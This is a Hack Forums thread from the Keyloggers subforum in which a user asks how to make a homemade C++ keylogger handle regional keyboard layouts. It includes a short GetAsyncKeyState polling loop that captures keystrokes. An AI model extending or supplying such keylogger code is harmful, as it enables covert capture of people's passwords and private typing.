Hack Forums
Keylogger regional keyboard support - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: Keylogger regional keyboard support (/showthread.php?tid=6025920)



Keylogger regional keyboard support - Ryze - Nov 18, 2019

So i decided to code a keylogger in C++ but i quickly encountered a problem: my keyboard isn't QWERTY and it has special keys for my language. I'm using this to loop through the ASCII table:

PHP Code

<?php 
#define KEY_PRESSED -32767
...
unsigned char key;
 while (
true) {
     
Sleep(10);
     for (
key = 8; key <= 190; key++) {
         if (
GetAsyncKeyState(key) == KEY_PRESSED) {
             
//writeToFile(key);
         
} 
     }
 } 

but there are some keys that ouput garbage.
How can i make sure to adapt to whatever language is set on the machine's keyboard? is that even possible because i looked at many sources on github and none seem to tacle this issue


RE: Keylogger regional keyboard support - Elweth - Nov 18, 2019

I suppose, look into unicode?